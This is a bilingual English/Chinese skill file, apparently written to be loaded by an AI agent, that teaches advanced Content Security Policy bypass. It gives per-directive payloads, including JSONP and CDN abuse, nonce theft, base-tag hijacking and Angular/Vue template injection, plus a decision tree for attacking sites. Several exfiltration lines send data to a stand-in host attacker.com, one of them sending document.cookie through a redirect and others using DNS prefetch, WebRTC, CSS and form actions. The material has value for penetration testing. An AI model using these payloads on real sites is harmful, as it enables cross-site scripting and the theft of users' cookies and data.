csp-bypass-advanced

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: CSP Bypass — Advanced Techniques

技能:CSP 绕过 —— 高级技巧

AI LOAD INSTRUCTION: Covers per-directive bypass techniques, nonce/hash abuse, trusted CDN exploitation, data exfiltration despite CSP, and framework-specific bypasses. Base models often suggest
unsafe-inline
bypass without checking if the CSP actually uses it, or miss the critical
base-uri
and
object-src
gaps.
AI 加载说明:覆盖按指令分类的绕过技术、nonce/哈希滥用、可信CDN利用、CSP限制下的数据外泄,以及框架专属绕过方法。基础模型通常只会建议
unsafe-inline
绕过方案,而不会检查CSP是否实际启用了该配置,或是遗漏了关键的
base-uri
object-src
漏洞。

0. RELATED ROUTING

0. 相关路由

  • xss-cross-site-scripting for XSS vectors to deliver after CSP bypass
  • dangling-markup-injection when CSP blocks scripts but HTML injection exists — exfiltrate without JS
  • crlf-injection when CRLF can inject CSP header or steal nonce via response splitting
  • waf-bypass-techniques when both WAF and CSP must be bypassed
  • clickjacking when CSP lacks
    frame-ancestors
    — clickjacking still possible

  • xss-cross-site-scripting 用于CSP绕过之后要投放的XSS攻击向量
  • dangling-markup-injection 当CSP阻止脚本但存在HTML注入时使用 —— 无需JS即可实现数据外泄
  • crlf-injection 当可通过CRLF注入CSP头部或通过响应拆分窃取nonce时使用
  • waf-bypass-techniques 当需要同时绕过WAF和CSP时使用
  • clickjacking 当CSP缺少
    frame-ancestors
    配置时 —— 点击劫持仍然可行

1. CSP DIRECTIVE REFERENCE MATRIX

1. CSP 指令参考矩阵

DirectiveControlsDefault Fallback
default-src
Fallback for all
-src
directives not explicitly set
None (browser default: allow all)
script-src
JavaScript execution
default-src
style-src
CSS loading
default-src
img-src
Image loading
default-src
connect-src
XHR, fetch, WebSocket, EventSource
default-src
frame-src
iframe/frame sources
default-src
font-src
Font loading
default-src
object-src
<object>
,
<embed>
,
<applet>
default-src
media-src
<audio>
,
<video>
default-src
base-uri
<base>
element
No fallback — unrestricted if absent
form-action
Form submission targetsNo fallback — unrestricted if absent
frame-ancestors
Who can embed this page (replaces X-Frame-Options)No fallback — unrestricted if absent
report-uri
/
report-to
Where violation reports are sentN/A
navigate-to
Navigation targets (limited browser support)No fallback
Critical insight:
base-uri
,
form-action
, and
frame-ancestors
do NOT fall back to
default-src
. Their absence is always a potential bypass vector.

指令控制范围默认回退规则
default-src
所有未显式配置的
-src
类指令的回退规则
无(浏览器默认:全部允许)
script-src
JavaScript执行权限
default-src
style-src
CSS加载权限
default-src
img-src
图片加载权限
default-src
connect-src
XHR、fetch、WebSocket、EventSource请求权限
default-src
frame-src
iframe/frame来源权限
default-src
font-src
字体加载权限
default-src
object-src
<object>
<embed>
<applet>
标签权限
default-src
media-src
<audio>
<video>
标签权限
default-src
base-uri
<base>
元素权限
无回退 —— 未配置则不受限制
form-action
表单提交目标权限无回退 —— 未配置则不受限制
frame-ancestors
允许嵌入当前页面的来源(替代X-Frame-Options)无回退 —— 未配置则不受限制
report-uri
/
report-to
违规报告发送地址
navigate-to
页面跳转目标权限(浏览器支持度有限)无回退
关键要点
base-uri
form-action
frame-ancestors
不会回退到
default-src
。未配置这些指令始终是潜在的绕过攻击向量。

2. BYPASS TECHNIQUES BY DIRECTIVE

2. 按指令分类的绕过技术

2.1
script-src 'self'

2.1
script-src 'self'

The app only allows scripts from its own origin. Bypass vectors:
VectorTechnique
JSONP endpoints
<script src="/api/jsonp?callback=alert(1)//"></script>
— JSONP reflects callback as JS
Uploaded JS filesUpload
.js
file (e.g., avatar upload accepts any extension) →
<script src="/uploads/evil.js"></script>
DOM XSS sinksFind DOM sinks (innerHTML, eval, document.write) in existing same-origin JS — inject via URL fragment/param
Angular/Vue template injectionIf framework is loaded from
'self'
, inject template expressions:
{{constructor.constructor('alert(1)')()}}
Service WorkerRegister SW from same origin → intercept and modify responses
Path confusion
<script src="/user-content/;/legit.js">
— server returns user content due to path parsing, but URL matches
'self'
应用仅允许来自自身域名的脚本执行,可用绕过向量:
向量技术方案
JSONP 端点
<script src="/api/jsonp?callback=alert(1)//"></script>
—— JSONP会将callback参数作为JS内容返回
上传的JS文件上传
.js
文件(例如头像上传允许任意扩展名)→
<script src="/uploads/evil.js"></script>
DOM XSS sink在现有同源JS中查找DOM sink(innerHTML、eval、document.write)—— 通过URL片段/参数注入 payload
Angular/Vue 模板注入如果框架从
'self'
加载,注入模板表达式:
{{constructor.constructor('alert(1)')()}}
Service Worker从同源注册Service Worker → 拦截并修改响应内容
路径混淆
<script src="/user-content/;/legit.js">
—— 服务器因路径解析规则返回用户上传内容,但URL匹配
'self'
规则

2.2
script-src
with CDN Whitelist

2.2
script-src
配置CDN白名单

script-src 'self' *.googleapis.com *.gstatic.com cdn.jsdelivr.net
Whitelisted CDNBypass
cdnjs.cloudflare.com
Host arbitrary JS via CDNJS (find lib with callback/eval):
angular.js
→ template injection
cdn.jsdelivr.net
jsdelivr serves any npm package or GitHub file:
cdn.jsdelivr.net/npm/attacker-package@1.0.0/evil.js
*.googleapis.com
Google JSONP endpoints, Google Maps callback parameter
unpkg.com
Same as jsdelivr — serves arbitrary npm packages
*.cloudfront.net
CloudFront distributions are shared — any CF customer's JS is allowed
Trick: Search for JSONP endpoints on whitelisted domains:
site:googleapis.com inurl:callback
script-src 'self' *.googleapis.com *.gstatic.com cdn.jsdelivr.net
白名单CDN绕过方案
cdnjs.cloudflare.com
通过CDNJS托管任意JS(查找支持callback/eval的库:
angular.js
→ 模板注入)
cdn.jsdelivr.net
jsdelivr可提供任意npm包或GitHub文件:
cdn.jsdelivr.net/npm/attacker-package@1.0.0/evil.js
*.googleapis.com
谷歌JSONP端点、谷歌地图callback参数
unpkg.com
和jsdelivr功能一致 —— 可提供任意npm包
*.cloudfront.net
CloudFront分发是共享的 —— 所有CF客户的JS都被允许
技巧:在白名单域名上搜索JSONP端点:
site:googleapis.com inurl:callback

2.3
script-src 'unsafe-eval'

2.3
script-src 'unsafe-eval'

eval()
,
Function()
,
setTimeout(string)
,
setInterval(string)
all permitted.
javascript
// Template injection → RCE-equivalent in browser
[].constructor.constructor('alert(document.cookie)')()

// JSON.parse doesn't execute code, but if result is used in eval context:
// App does: eval('var x = ' + JSON.parse(userInput))
eval()
Function()
setTimeout(string)
setInterval(string)
全部被允许。
javascript
// 模板注入 → 等价于浏览器端远程代码执行
[].constructor.constructor('alert(document.cookie)')()

// JSON.parse本身不执行代码,但如果返回结果被用于eval上下文:
// 应用逻辑:eval('var x = ' + JSON.parse(userInput))

2.4
script-src 'nonce-xxx'

2.4
script-src 'nonce-xxx'

Only scripts with matching nonce attribute execute.
BypassCondition
Nonce reuseServer uses same nonce across requests or for all users → predictable
Nonce injection via CRLFCRLF in response header → inject new CSP header with known nonce, or inject
<script nonce="known">
Dangling markup to steal nonce
<img src="https://attacker.com/steal?
(unclosed) → page content including nonce leaks as URL parameter
DOM clobberingOverwrite nonce-checking code via DOM clobbering:
<form id="nonce"><input id="nonce" value="attacker-controlled">
Script gadgetsTrusted nonced script uses DOM data to create new script elements — inject that DOM data
只有携带匹配nonce属性的脚本才能执行。
绕过方案适用条件
Nonce复用服务器跨请求或对所有用户使用相同nonce → 可预测
通过CRLF注入nonce响应头存在CRLF注入 → 注入携带已知nonce的新CSP头,或是注入
<script nonce="known">
悬挂标记窃取nonce
<img src="https://attacker.com/steal?
(未闭合) → 包含nonce的页面内容会作为URL参数泄露
DOM clobbering通过DOM clobbering覆盖nonce校验代码:
<form id="nonce"><input id="nonce" value="attacker-controlled">
脚本小工具带可信nonce的脚本使用DOM数据创建新的脚本元素 → 注入对应的DOM数据

2.5
script-src 'strict-dynamic'

2.5
script-src 'strict-dynamic'

Trust propagation: any script created by an already-trusted script is also trusted, regardless of source.
BypassTechnique
base-uri
injection
<base href="https://attacker.com/">
→ relative script
src
resolves to attacker domain. Trusted parent script loads
./lib.js
which now points to
https://attacker.com/lib.js
Script gadget in trusted codeFind trusted script that does
document.createElement('script'); s.src = location.hash.slice(1)
→ control via URL fragment
DOM XSS in trusted scriptTrusted script reads
innerHTML
from user-controlled source → injected
<script>
is trusted via
strict-dynamic
信任传播:任何已经被信任的脚本创建的脚本同样会被信任,不受来源限制。
绕过方案技术方案
base-uri
注入
<base href="https://attacker.com/">
→ 相对路径脚本
src
会解析到攻击者域名。可信的父脚本加载
./lib.js
时会指向
https://attacker.com/lib.js
可信代码中的脚本小工具查找可信脚本中
document.createElement('script'); s.src = location.hash.slice(1)
这类逻辑 → 通过URL片段控制脚本地址
可信脚本中的DOM XSS可信脚本从用户可控来源读取
innerHTML
→ 注入的
<script>
会通过
strict-dynamic
获得信任

2.6 Angular / Vue CSP Bypass

2.6 Angular / Vue CSP 绕过

Angular (with CSP):
html
<!-- Angular template expression bypasses script-src when angular.js is whitelisted -->
<div ng-app ng-csp>
  {{$eval.constructor('alert(1)')()}}
</div>

<!-- Angular >= 1.6 sandbox removed, so simpler: -->
{{constructor.constructor('alert(1)')()}}
Vue.js:
html
<!-- Vue 2 with runtime compiler -->
<div id=app>{{_c.constructor('alert(1)')()}}</div>
<script src="https://whitelisted-cdn/vue.js"></script>
<script>new Vue({el:'#app'})</script>
Angular(启用CSP场景):
html
<!-- 当angular.js被加入白名单时,Angular模板表达式可绕过script-src限制 -->
<div ng-app ng-csp>
  {{$eval.constructor('alert(1)')()}}
</div>

<!-- Angular >= 1.6 移除了沙箱,方案更简单: -->
{{constructor.constructor('alert(1)')()}}
Vue.js:
html
<!-- 带运行时编译器的Vue 2 -->
<div id=app>{{_c.constructor('alert(1)')()}}</div>
<script src="https://whitelisted-cdn/vue.js"></script>
<script>new Vue({el:'#app'})</script>

2.7 Missing
object-src

2.7 缺失
object-src
配置

If
object-src
is not set (falls back to
default-src
), and
default-src
allows some origins:
html
<!-- Flash-based bypass (legacy, mostly patched, but still appears on old systems) -->
<object data="https://attacker.com/evil.swf" type="application/x-shockwave-flash">
  <param name="AllowScriptAccess" value="always">
</object>

<!-- PDF plugin abuse -->
<embed src="/user-upload/evil.pdf" type="application/pdf">
如果未配置
object-src
(会回退到
default-src
),且
default-src
允许部分来源:
html
<!-- 基于Flash的绕过(过时方案,大多已被修复,但旧系统中仍存在) -->
<object data="https://attacker.com/evil.swf" type="application/x-shockwave-flash">
  <param name="AllowScriptAccess" value="always">
</object>

<!-- PDF插件滥用 -->
<embed src="/user-upload/evil.pdf" type="application/pdf">

2.8 Missing
base-uri

2.8 缺失
base-uri
配置

html
<!-- Inject base tag → all relative URLs resolve to attacker -->
<base href="https://attacker.com/">

<!-- Existing script: <script src="/js/app.js"> -->
<!-- Now loads: https://attacker.com/js/app.js -->
This bypasses
'nonce-xxx'
,
'strict-dynamic'
, and
script-src 'self'
for relative script paths.
html
<!-- 注入base标签 → 所有相对URL都会解析到攻击者域名 -->
<base href="https://attacker.com/">

<!-- 现有脚本:<script src="/js/app.js"> -->
<!-- 实际加载:https://attacker.com/js/app.js -->
该方案可绕过
'nonce-xxx'
'strict-dynamic'
script-src 'self'
对相对路径脚本的限制。

2.9 Missing
frame-ancestors

2.9 缺失
frame-ancestors
配置

CSP without
frame-ancestors
→ page can be framed → clickjacking possible.
X-Frame-Options
header is overridden by
frame-ancestors
if CSP is present. But if CSP exists without
frame-ancestors
, some browsers ignore XFO entirely.

CSP未配置
frame-ancestors
→ 页面可被嵌入 → 可实施点击劫持。
如果存在CSP配置,
frame-ancestors
会覆盖
X-Frame-Options
头。但如果CSP存在但未配置
frame-ancestors
,部分浏览器会完全忽略XFO配置。

3. CSP IN META TAG vs. HEADER

3. META标签中的CSP vs 响应头中的CSP

html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
Meta tag limitations:
  • Cannot set
    frame-ancestors
    (ignored in meta)
  • Cannot set
    report-uri
    /
    report-to
  • Cannot set
    sandbox
  • If injected via HTML injection before the meta tag in DOM order, attacker's meta CSP may be processed first (browser uses first encountered)
  • If page has both header CSP and meta CSP, both apply (most restrictive wins)

html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
Meta标签限制:
  • 无法配置
    frame-ancestors
    (meta中会被忽略)
  • 无法配置
    report-uri
    /
    report-to
  • 无法配置
    sandbox
  • 如果通过HTML注入在DOM顺序中现有meta标签之前注入了攻击者的meta CSP,浏览器会优先处理先出现的CSP配置
  • 如果页面同时存在响应头CSP和meta CSP,两者同时生效(取最严格的规则)

4. DATA EXFILTRATION DESPITE CSP

4. CSP限制下的数据外泄

When
connect-src
,
img-src
, etc. are locked down, alternative exfiltration channels:
ChannelCSP Directive Needed to BlockTechnique
DNS prefetchNone (CSP cannot block DNS)
<link rel="dns-prefetch" href="//data.attacker.com">
WebRTCNone (CSP cannot block)
new RTCPeerConnection({iceServers:[{urls:'stun:attacker.com'}]})
<link rel=prefetch>
default-src
or
connect-src
Often missed in CSP
Redirect-based
navigate-to
(rarely set)
location='https://attacker.com/?'+document.cookie
CSS injection
style-src
<style>body{background:url(https://attacker.com/?data)}</style>
<a ping>
connect-src
<a ping="https://attacker.com/collect" href="#">click</a>
report-uri
leak
N/ATrigger CSP violation → report contains blocked-uri with data
Form submission
form-action
<form action="https://attacker.com/"><button>Submit</button></form>
DNS-based exfiltration is nearly impossible to block with CSP — this is the most reliable channel.

connect-src
img-src
等被严格限制时,可使用替代外泄渠道:
渠道拦截所需的CSP指令技术方案
DNS预取无(CSP无法拦截DNS请求)
<link rel="dns-prefetch" href="//data.attacker.com">
WebRTC无(CSP无法拦截)
new RTCPeerConnection({iceServers:[{urls:'stun:attacker.com'}]})
<link rel=prefetch>
default-src
connect-src
通常会在CSP配置中被遗漏
基于重定向
navigate-to
(极少被配置)
location='https://attacker.com/?'+document.cookie
CSS注入
style-src
<style>body{background:url(https://attacker.com/?data)}</style>
<a ping>
connect-src
<a ping="https://attacker.com/collect" href="#">click</a>
report-uri
泄露
触发CSP违规 → 报告中会携带包含数据的blocked-uri
表单提交
form-action
<form action="https://attacker.com/"><button>Submit</button></form>
基于DNS的外泄几乎无法通过CSP拦截 —— 这是最可靠的外泄渠道。

5. CSP BYPASS DECISION TREE

5. CSP绕过决策树

CSP present?
├── Read full policy (response headers + meta tags)
├── Check for obvious weaknesses
│   ├── 'unsafe-inline' in script-src? → Standard XSS works
│   ├── 'unsafe-eval' in script-src? → eval/Function/setTimeout bypass
│   ├── * or data: in script-src? → <script src="data:,alert(1)">
│   └── No CSP header at all on some pages? → Find CSP-free page
├── Check missing directives
│   ├── No base-uri? → <base href="https://attacker.com/"> → hijack relative scripts
│   ├── No object-src? → Flash/plugin-based bypass (legacy)
│   ├── No form-action? → Exfil via form submission
│   ├── No frame-ancestors? → Clickjacking possible
│   └── No connect-src falling back to lax default-src? → fetch/XHR exfil
├── script-src 'self'?
│   ├── Find JSONP endpoints on same origin
│   ├── Find file upload → upload .js file
│   ├── Find DOM XSS in existing same-origin scripts
│   └── Find Angular/Vue loaded from self → template injection
├── script-src with CDN whitelist?
│   ├── Check CDN for JSONP endpoints
│   ├── Check jsdelivr/unpkg/cdnjs → load attacker-controlled package
│   └── Check *.cloudfront.net → shared distribution namespace
├── script-src 'nonce-xxx'?
│   ├── Nonce reused across requests? → Replay
│   ├── CRLF injection available? → Inject nonce
│   ├── Dangling markup to steal nonce
│   └── Script gadget in trusted scripts
├── script-src 'strict-dynamic'?
│   ├── base-uri not set? → <base> hijack
│   ├── DOM XSS in trusted script? → Inherit trust
│   └── Script gadget creating dynamic scripts from DOM data
└── All script execution blocked?
    ├── Dangling markup injection → exfil without JS (see ../dangling-markup-injection/SKILL.md)
    ├── DNS prefetch exfiltration
    ├── WebRTC exfiltration
    ├── CSS injection for data extraction
    └── Form action exfiltration

是否存在CSP?
├── 读取完整策略(响应头 + meta标签)
├── 检查明显弱点
│   ├── script-src中存在'unsafe-inline'? → 标准XSS即可生效
│   ├── script-src中存在'unsafe-eval'? → eval/Function/setTimeout绕过
│   ├── script-src中存在*或data:? → <script src="data:,alert(1)">
│   └── 部分页面完全没有CSP头? → 查找无CSP的页面
├── 检查缺失的指令
│   ├── 未配置base-uri? → <base href="https://attacker.com/"> → 劫持相对路径脚本
│   ├── 未配置object-src? → 基于Flash/插件的绕过(过时)
│   ├── 未配置form-action? → 通过表单提交外泄
│   ├── 未配置frame-ancestors? → 可实施点击劫持
│   └── 未配置connect-src且回退的default-src规则宽松? → fetch/XHR外泄
├── 配置script-src 'self'?
│   ├── 查找同源的JSONP端点
│   ├── 查找文件上传功能 → 上传.js文件
│   ├── 查找现有同源脚本中的DOM XSS
│   └── 查找从self加载的Angular/Vue → 模板注入
├── script-src配置了CDN白名单?
│   ├── 检查CDN是否存在JSONP端点
│   ├── 检查jsdelivr/unpkg/cdnjs → 加载攻击者控制的包
│   └── 检查*.cloudfront.net → 共享分发命名空间
├── 配置script-src 'nonce-xxx'?
│   ├── nonce是否跨请求复用? → 重放攻击
│   ├── 存在CRLF注入? → 注入nonce
│   ├── 悬挂标记窃取nonce
│   └── 可信脚本中的脚本小工具
├── 配置script-src 'strict-dynamic'?
│   ├── 未配置base-uri? → <base>劫持
│   ├── 可信脚本中存在DOM XSS? → 继承信任
│   └── 从DOM数据创建动态脚本的脚本小工具
└── 所有脚本执行都被拦截?
    ├── 悬挂标记注入 → 无需JS外泄(参考../dangling-markup-injection/SKILL.md)
    ├── DNS预取外泄
    ├── WebRTC外泄
    ├── CSS注入提取数据
    └── 表单action外泄

6. TRICK NOTES — WHAT AI MODELS MISS

6. 技巧提示 —— AI模型容易遗漏的点

  1. default-src 'self'
    does NOT restrict
    base-uri
    or
    form-action
    — these have no fallback. This is the #1 CSP mistake.
  2. strict-dynamic
    ignores whitelist
    : When
    strict-dynamic
    is present, host-based allowlists and
    'self'
    are ignored for script loading. Only nonce/hash and trust propagation matter.
  3. Multiple CSPs stack: If both
    Content-Security-Policy
    header and
    <meta>
    CSP exist, the browser enforces BOTH — the effective policy is the intersection (most restrictive).
  4. Content-Security-Policy-Report-Only
    does not enforce — it only reports. Check for the correct header name.
  5. Nonce length matters: Nonces should be ≥128 bits of entropy. Short or predictable nonces can be brute-forced or guessed.
  6. Report-uri information disclosure: CSP violation reports sent to
    report-uri
    contain
    blocked-uri
    ,
    source-file
    ,
    line-number
    — this can leak internal URLs, script paths, and page structure to whoever controls the report endpoint.
  7. data:
    in script-src
    :
    script-src 'self' data:
    allows
    <script src="data:text/javascript,alert(1)">
    — trivial bypass, but commonly seen in real-world CSPs.
  1. default-src 'self'
    不会限制
    base-uri
    form-action
    —— 这些指令没有回退规则。这是排名第一的CSP配置错误。
  2. strict-dynamic
    会忽略白名单
    :当存在
    strict-dynamic
    配置时,基于主机的允许列表和
    'self'
    对脚本加载无效,只有nonce/哈希和信任传播规则生效。
  3. 多CSP配置叠加生效:如果同时存在
    Content-Security-Policy
    响应头和
    <meta>
    CSP,浏览器会同时强制执行两者 —— 生效策略是两者的交集(最严格的规则)。
  4. Content-Security-Policy-Report-Only
    不会强制执行规则 —— 仅上报违规。注意检查头部名称是否正确。
  5. Nonce长度很重要:Nonce的熵应≥128位。短或可预测的nonce可被暴力破解或猜测。
  6. Report-uri信息泄露:发送到
    report-uri
    的CSP违规报告包含
    blocked-uri
    source-file
    line-number
    —— 可能会向控制报告端点的一方泄露内部URL、脚本路径和页面结构。
  7. script-src中的
    data:
    script-src 'self' data:
    允许
    <script src="data:text/javascript,alert(1)">
    —— 非常容易绕过,但在实际CSP配置中非常常见。